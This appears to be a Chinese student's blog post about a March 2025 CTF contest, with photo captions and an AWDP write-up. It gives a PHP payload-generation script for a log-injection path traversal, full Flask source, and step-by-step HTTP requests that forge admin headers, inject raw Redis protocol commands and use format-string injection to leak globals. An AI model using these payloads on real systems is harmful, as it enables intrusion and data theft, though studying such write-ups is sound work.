3.15-3.16

比赛现场

IMG_20250315_164521

IMG_7257

我TM来辣!!

IMG_7233

《油专牌面》

IMG_7231

巨好喝,下午五点多:抹茶+麦当劳中薯,结果没过一会儿去吃自助了。。

IMG_7250

这家自助的雪花牛肉无敌!

IMG_7253

姬哥强者の步伐

IMG_7264

凯旋

IMG_7280

IMG_7277

IMG_7249

希望当事人已经拿下了。。

IMG_7234

《柏林幼儿园》(雾)

IMG_7251

IMG_7252

赛后总结(未完待续)

这块内容等到有wp出来之后再补上。

16号上午ADWP爆0了,修也修不上,打也打不出来。。

下午渗透的时候,我这里又出问题了,蚁剑坏掉了,kali虚拟机连不上目标ip(后来我重置了一下虚拟机网络)

image-20250318212437135

就可以了。

现在急需继续学Java,把Jackson链子看掉就去学内网渗透,动手实践还是太少了。。就上个寒假和姬哥打了几次春秋云镜,而且我还没复现完,这些作为接下来几周的任务吧。

AWDP

ccfrum

由于已经没有原题的环境了,这里就复现一下思路

思路

关注到admin.php的部分源码,漏洞点在于这里的file_get_contents函数,因为过滤不严导致这里可以实现目录穿越而造成文件读取。

image-20250319164818179

scandir()函数Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
$dir = scandir("."); //扫当前目录下的文件,返回一个数组
print_r($dir);

/*
Array
(
[0] => .
[1] => ..
[2] => .idea
[3] => ScandirTest.php
[4] => SprintfTest.php
[5] => a500c6381686fa7eaf8c55f20f893f5d.php
[6] => admin.php
[7] => config.php
[8] => index.php
[9] => login.php
[10] => logout.php
[11] => post.php
[12] => register.php
[13] => reply.php
[14] => view_post.php
)
*/

接着我们看$banned_users的赋值:

image-20250319165821329

如果$success为1,就会把$additional_info赋给它。

$additioinal_info变量是$parts数组的第五位。

上去看$parts数组:

image-20250319161747230

$action_log被换行符拆成$log_lines数组。

漏洞点之一出现在此处,留个伏笔

数组中每一个元素作为$line被遍历,$line又被,拆成$parts数组。

然后这个$action_log_path来源于日志文件。

image-20250319162647747

这里把$log_line字符串写进日志文件中:

image-20250319163039112

我们可以看到:这个函数对传入进来的$additional参数没做任何过滤,假设我们构造这样的$additional:(%2f是/的URL编码)

1
Hacked\nabc123,..%2F..%2F..%2F,record_banned,1,

还记得前面标注的漏洞点吗,因为这串字符串中包含了换行符,所以会被多拆分成一行$log_line:

1
abc123,..%2F..%2F..%2F,record_banned,1,

当这些参数被传进file_get_contents那一坨代码那里时:

image-20250319170257898

路径等同于根目录了,然后scandir()遍历路径下的文件名字放入$files数组,$files被遍历,一个个变量拉出来给$file,其中就含有我们的flag文件,它被file_get_contents()包含出来,暴露在web页面中了。

现在我们看看触发log_action()的record_banned():

image-20250319171706528

我们要想给$log写入可控内容,必须通过if条件判断(created=false)。

那我们需要让mkdir函数失效,返回false给created:

mkdir()无法创建多级目录,即传入/会让它返回false。我们可以利用 base64 后存在的 / 来构造出多级目录造成其创建失败。

偷了别人的脚本,原文:https://mp.weixin.qq.com/s?__biz=Mzg4MTg1MDY4MQ==&mid=2247487308&idx=1&sn=58ded47969223626e9937b5ccf93d3a8&chksm=cef98a3b1b7ee9a0deeb2746fb95e0bd6fb6e0d7adf55a9902ee121c3e7533efcde91d9498fc&mpshare=1&scene=23&srcid=0318w22pdH0PdB7Tj2Cbw5B0&sharer_shareinfo=a714674b8023b181d0876977bde50035&sharer_shareinfo_first=a714674b8023b181d0876977bde50035#rd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
$prefix = chr($i) . chr($j);
$str = 'a'. $prefix . "\n" . ',.../,record_banned,1,';
$base64 = base64_encode($str);
if (strpos($base64, '/') !== false) {
echourlencode($str) . "\n";
echo$base64 . "\n";
echostrlen($str) . "\n";
exit;
}
}
}

Payload经过Base64编码之后字符串里面有/

跑出来后,用这个payload当做用户名进行注册,再利用违禁词触发record_banned()即可打通,最后在回显日志内容的那个路由看到flag。

rng-assistant

已经没有原题环境了,看别人的wp纸上谈兵一下,就当提升下审计能力。

思路

app.py源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
import socket
import redis
import json
import os

from hashlib import md5, sha256
from os.path import join
from flask import Flask, request, jsonify, session
from flag import FLAG

app = Flask(__name__)
app.secret_key = os.urandom(0x10)

redis_conn = redis.Redis(host="localhost", port=6379, db=0)

model_ports = {"math-v1": 54321, "default": 50051}

# Port to Database at v1.0.
users = {"test": {"password": "098f6bcd4621d373cade4e832627b4f6"}}


# ======== Utilities ========
class PromptTemplate:
PROMPT_DIR = "static/prompts"

def __init__(self, question, user_level="primary"):
self.user_level = user_level
self.question = question

@staticmethod
def get_template(template_id):
prompt_key = f"prompt:{template_id}"
prompt = redis_conn.get(prompt_key)
if not prompt:
template_path = join(PromptTemplate.PROMPT_DIR, f"{template_id}.txt")
with open(template_path, "rb") as file:
prompt = file.read()
redis_conn.set(prompt_key, prompt)
prompt = prompt.decode(errors="ignore")
return prompt

def get_prompt(self, template_id):
return PromptTemplate.get_template(template_id).format(t=self)


def get_model_port(model_id):
return model_ports.get(model_id, model_ports["default"])


def generate_prompt(user_question, prompt_id="math-v1"):
return PromptTemplate(user_question).get_prompt(prompt_id)


def query_model(prompt, model_id="default"):
cache_key = f"{md5(prompt.encode()).hexdigest()}:{model_id}"
cached = redis_conn.get(cache_key)
if cached:
return cached.decode()

try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect(("127.0.0.1", get_model_port(model_id)))
s.sendall(prompt.encode("utf-8"))
response = s.recv(4096).decode("utf-8")

redis_conn.setex(cache_key, 3600, response) # Cache for 1 hour
return response
except Exception as e:
return f"Model service error: {str(e)}"


def generate_salt():
return os.urandom(0x10)


def hash_password(password, salt):
return sha256(salt + password.encode()).hexdigest()


# ================

def whoami(username):
role = request.headers.get("X-User-Role")
if username is None:
r = role
else:
r = username + ":" + role
return r

@app.route("/")
def index():
return f"Welcome to the RNG Assistant, {whoami(session['user'])}!"
#


@app.route("/register", methods=["POST"])
def register():
data = request.json # 接受一个json键值对
username = data.get("username")
password = data.get("password")

if not username or not password:
return jsonify({"error": "Missing username or password"}), 400

if username in users:
return jsonify({"error": "Username already exists"}), 400

salt = generate_salt()
hashed_password = hash_password(password, salt)
users[username] = {"password": hashed_password, "salt": salt}
return jsonify({"message": "Registration successful"})


@app.route("/login", methods=["POST"])
def login():
data = request.json
username = data.get("username")
password = data.get("password")

user = users.get(username)
if not user or user["password"] != hash_password(password, user["salt"]):
return jsonify({"error": "Invalid credentials"}), 401

session["user"] = username
return jsonify({"message": f"Login successful", "user": whoami(session['user'])})


@app.route("/ask", methods=["POST"])
def ask_question():
if "user" not in session:
return jsonify({"error": "Login required"}), 401

data = request.json
question = data.get("question")
model_id = data.get("model_id", "default")

final_prompt = generate_prompt(question)

response = query_model(final_prompt, model_id)
res = {"answer": response, "prompt": final_prompt, "model_id": model_id, "user": whoami(session['user'])}
return jsonify(res)


@app.route("/admin/raw_ask", methods=["POST", "PUT", "DELETE"])
def manage_ask():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403

data = request.json
model_id = data.get("model_id", "default")
custom_prompt = data.get("prompt")

final_prompt = custom_prompt

response = query_model(final_prompt, model_id)
return jsonify({"answer": response, "user": whoami(session['user'])})


@app.route("/admin/model_ports", methods=["POST", "PUT", "DELETE"])
def manage_model_ports():
if (
"user" not in session
or request.headers.get("X-User-Role") != "admin"
or request.headers.get("X-Secret") != "210317a2ee916063014c57d879b9d3bc"
):
return jsonify({"error": "Access denied"}), 403

data = request.json
model_id = data.get("model_id")
port = data.get("port")

if request.method in ["POST", "PUT"]:
if not model_id or not port:
return jsonify({"error": "Missing parameters"}), 400
model_ports[model_id] = port
return jsonify({"message": "Update successful", "user": whoami(session['user'])})

elif request.method == "DELETE":
if not model_id:
return jsonify({"error": "Missing model_id"}), 400
if model_id in model_ports:
del model_ports[model_id]
return jsonify({"message": "Delete successful", "user": whoami(session['user'])})


if __name__ == "__main__":
app.run(port=8000)

部署了Redis服务:

image-20250320101513773

看到一个文件读取处,并可以返回内容:

image-20250320104625467

这个路由很好进,伪造一下X-头即可,port变量可控。

image-20250320101646693

model_ports字典被赋值为port,我们看看model_ports字典:

image-20250320101839759

这个default字段是我们可以覆盖的。

把它覆盖成6379(redis)

1. 注册和登录

首先,通过 /register/login 路由注册并登录了一个用户:

1
POST /register HTTP/1.1Content-Length: 111Content-Type: application/jsonConnection: close{"username":"123", "password":"123"}
1
POST /login HTTP/1.1Content-Length: 111Content-Type: application/jsonConnection: close{"username":"123", "password":"123"}
  • 注册用户后,用户信息会被存储在 users 字典中。
  • 登录成功后,Flask 会生成一个会话(session),并将用户信息存储在会话中。

2. 暴露 Redis 端口

接下来,通过 /admin/model_ports 路由修改了模型服务的端口,将 Redis 端口(6379)暴露出来:

1
POST /admin/model_ports HTTP/1.1Content-Length: 38Content-Type: application/jsonCookie: session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyMx-secret: 210317a2ee916063014c57d879b9d3bcx-user-role: adminConnection: close{ "model_id":"default", "port":6379 }
  • 这个操作将 model_ports 字典中的 default 模型的端口修改为 6379(Redis 的默认端口)。
  • 这意味着后续通过 query_model 函数发送的请求会被重定向到 Redis 服务。

3. 写入模板

然后,通过 /ask 路由向 Redis 中写入数据:

1
POST /ask HTTP/1.1Content-Length: 44Content-Type: application/jsonCookie: session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyMx-secret: 210317a2ee916063014c57d879b9d3bcx-user-role: adminConnection: close{"question":"hello", "model_id":"math-v1"}
  • 这个请求会调用 query_model 函数,但由于 model_ports 中的 default 模型端口被修改为 6379,请求会被发送到 Redis 服务。
  • Redis 会将 prompt:math-v1 键的值设置为 hello

4. 修改 Redis 中的键值

接下来,通过 /admin/raw_ask 路由修改 Redis 中的键值:

1
POST /admin/raw_ask HTTP/1.1Content-Length: 117Content-Type: application/jsonCookie: session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyMx-secret: 210317a2ee916063014c57d879b9d3bcx-user-role: adminConnection: close{"prompt":"*3\r\n$3\r\nSET\r\n$14\r\nprompt:math-v1\r\n$24\r\n{t.__init__.__globals__}\r\n;", "model_id":"default"}
  • 这个请求会直接向 Redis 发送一个 Redis 协议格式的命令:

    1
    *3\r\n$3\r\nSET\r\n$14\r\nprompt:math-v1\r\n$24\r\n{t.__init__.__globals__}\r\n;

    这个命令的含义是:

    • *3:表示有 3 个参数。
    • $3\r\nSET\r\n:表示第一个参数是 SET 命令。
    • $14\r\nprompt:math-v1\r\n:表示第二个参数是键 prompt:math-v1
    • $24\r\n{t.__init__.__globals__}\r\n:表示第三个参数是值 {t.__init__.__globals__}
  • 这个命令会将 prompt:math-v1 键的值设置为 {t.__init__.__globals__}


5. 通过模板匹配泄露全局变量

最后,再次通过 /ask 路由访问 Redis 中的键值,试图通过模板渲染泄露全局变量:

1
POST /ask HTTP/1.1Content-Length: 44Content-Type: application/jsonCookie: session=eyJ1c2VyIjoiMTIzIn0.Z9huKw.gUR8v6HfMt2vbYvwrad6T3BDqyMx-secret: 210317a2ee916063014c57d879b9d3bcx-user-role: adminConnection: close{"question":"hello", "model_id":"math-v1"}
  • 这个请求会调用 generate_prompt 函数,从 Redis 中读取 prompt:math-v1 键的值。
  • 由于 prompt:math-v1 的值被设置为 {t.__init__.__globals__},模板渲染时会尝试解析 {t.__init__.__globals__}
  • 如果模板引擎支持魔术方法(如 __globals__),则可能会泄露全局变量。

渗透

最后10分钟的时候,姬哥打XSS让平台admin把cookie转发出来打通了。真的牛逼。

第一次知道这种内网环境下,反弹shell、转发cookie的操作是可以直接在主机上面执行的(使用nc监听端口即可),无需一台具有公网ip的服务器。